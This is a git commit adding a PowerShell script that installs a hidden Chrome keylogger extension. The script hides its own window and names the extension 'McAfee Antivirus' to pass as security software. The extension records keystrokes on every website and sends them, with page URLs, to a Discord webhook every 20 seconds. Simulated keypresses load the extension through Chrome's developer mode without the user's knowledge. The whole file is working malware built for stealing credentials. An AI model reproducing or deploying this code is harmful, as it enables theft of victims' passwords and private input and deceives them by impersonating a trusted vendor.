Add files via upload

2024-01-07 16:26:12 +00:00
parent 3e2879216a
commit a99aa684d7
3 changed files with 195 additions and 0 deletions
@@ -0,0 +1,165 @@
+$hookurl = "$dc" # YOUR_WEBHOOK_HERE
+
+# Hide the console
+$Async = '[DllImport("user32.dll")] public static extern bool ShowWindowAsync(IntPtr hWnd, int nCmdShow);'
+$Type = Add-Type -MemberDefinition $Async -name Win32ShowWindowAsync -namespace Win32Functions -PassThru
+$hwnd = (Get-Process -PID $pid).MainWindowHandle
+
+if ($hwnd -ne [System.IntPtr]::Zero) {
+    $Type::ShowWindowAsync($hwnd, 0)
+}
+else {
+    $Host.UI.RawUI.WindowTitle = 'hideme'
+    $Proc = (Get-Process | Where-Object { $_.MainWindowTitle -eq 'hideme' })
+    $hwnd = $Proc.MainWindowHandle
+    $Type::ShowWindowAsync($hwnd, 0)
+}
+
+# Webhook shortened URL handler
+$hookurl = (irm $hookurl).url
+
+# Create the extension file
+$DirPath = "C:\Users\Public\Chrome"
+New-Item -ItemType Directory -Path $DirPath
+
+# Create the Main Javascript file (main.js)
+$mainjs = @'
+let keys = "";
+const current = document.URL;
+document.addEventListener("keydown", (event) => {
+  const key = event.key;
+  if (key === "Enter") {
+    keys += "\n";
+    return;
+  }
+  if (key === "Backspace") {
+    keys = keys.slice(0, keys.length - 1);
+    return;
+  }
+  if (key === "CapsLock" || key === "Shift") {
+    return;
+  }
+  if (key === "Control") {
+    keys += "[Ctrl]";
+    return;
+  }
+  // Arrows
+  if (key === "ArrowLeft") {
+    keys += "[LeftArrow]";
+    return;
+  }
+  if (key === "ArrowRight") {
+    keys += "[RightArrow]";
+    return;
+  }
+  if (key === "ArrowDown") {
+    keys += "[DownArrow]";
+    return;
+  }
+  if (key === "ArrowUp") {
+    keys += "[UpArrow]";
+    return;
+  }
+  // End arrows
+  keys += key;
+  saveKeysLocal();
+});
+
+window.setInterval(async () => {
+  keys = getKeysLocal();
+  if (keys == "") {
+    return;
+  }
+  const message = `<${current}>\nLogged Keystrokes: ` + "```" + keys + "```";
+  sendMessageToDiscord(discordWebhook, message);
+  keys = "";
+  saveKeysLocal();
+}, 20000); // time in milliseconds
+
+async function sendMessageToDiscord(webhook, msg) {
+  await fetch(webhook, {
+    method: "POST",
+    headers: {
+      "Content-Type": "application/json",
+    },
+    body: JSON.stringify({
+      content: msg,
+    }),
+  });
+}
+
+function saveKeysLocal() {
+  localStorage.setItem("keys", keys);
+}
+
+function getKeysLocal() {
+  return localStorage.getItem("keys");
+}
+'@
+$mainjs | Out-File -FilePath "$DirPath/main.js" -Encoding utf8 -Force
+
+# Create the service worker (background.js)
+$backgroundjs = @'
+chrome.runtime.onMessage.addListener(
+  function (request, sender, sendResponse) {
+    sendResponse(request);
+  }
+);
+'@
+$backgroundjs | Out-File -FilePath "$DirPath/background.js" -Encoding utf8 -Force
+
+# Crwate the manifest file (manifest.json)
+$manifest = @'
+{
+  "name": "McAfee Antivirus",
+  "description": "Antivirus chrome extension made by McAfee. Browse securely on the internet!",
+  "version": "2.2",
+  "manifest_version": 3,
+  "background": {
+    "service_worker": "background.js"
+  },
+  "content_scripts": [
+    {
+      "matches": [
+        "*://*/*"
+      ],
+      "js": [
+        "Webhook.js",
+        "main.js"
+      ]
+    }
+  ]
+}
+'@
+$manifest | Out-File -FilePath "$DirPath/manifest.json" -Encoding utf8 -Force
+
+#create the webhook file
+"const discordWebhook = `"$hookurl`";" | Out-File -FilePath "C:\Users\Public\Chrome\Webhook.js" -Encoding utf8 -Force
+
+# Send keys to manually open chrome and add extension
+$wshell = New-Object -ComObject wscript.shell
+Start-Process chrome.exe example.com
+sleep 3
+$wshell.AppActivate("chrome.exe")
+$wshell.SendKeys("{TAB}") ;sleep -m 100
+$wshell.SendKeys("{TAB}") ;sleep -m 100
+$wshell.SendKeys("{TAB}") ;sleep -m 100
+$wshell.SendKeys("chrome://extensions/") ;sleep -m 100
+$wshell.SendKeys("{ENTER}") ;sleep 2
+$wshell.SendKeys("{TAB}") ;sleep -m 100
+$wshell.SendKeys(" ") ;sleep 1
+$wshell.SendKeys("{TAB}") ;sleep -m 100
+$wshell.SendKeys("{ENTER}") ;sleep 1
+$wshell.SendKeys("C:\Users\Public\Chrome");sleep -m 100
+$wshell.SendKeys("{ENTER}") ;sleep -m 200
+$wshell.SendKeys("{BACKSPACE}") ;sleep -m 100
+$wshell.SendKeys("{ENTER}")
+
+# Kill Chrome process
+sleep 3
+$wshell.SendKeys("%{F4}")
+
+<#
+Add-Type -AssemblyName System.Windows.Forms
+[System.Windows.Forms.SendKeys]::SendWait('%{F4}')
+#>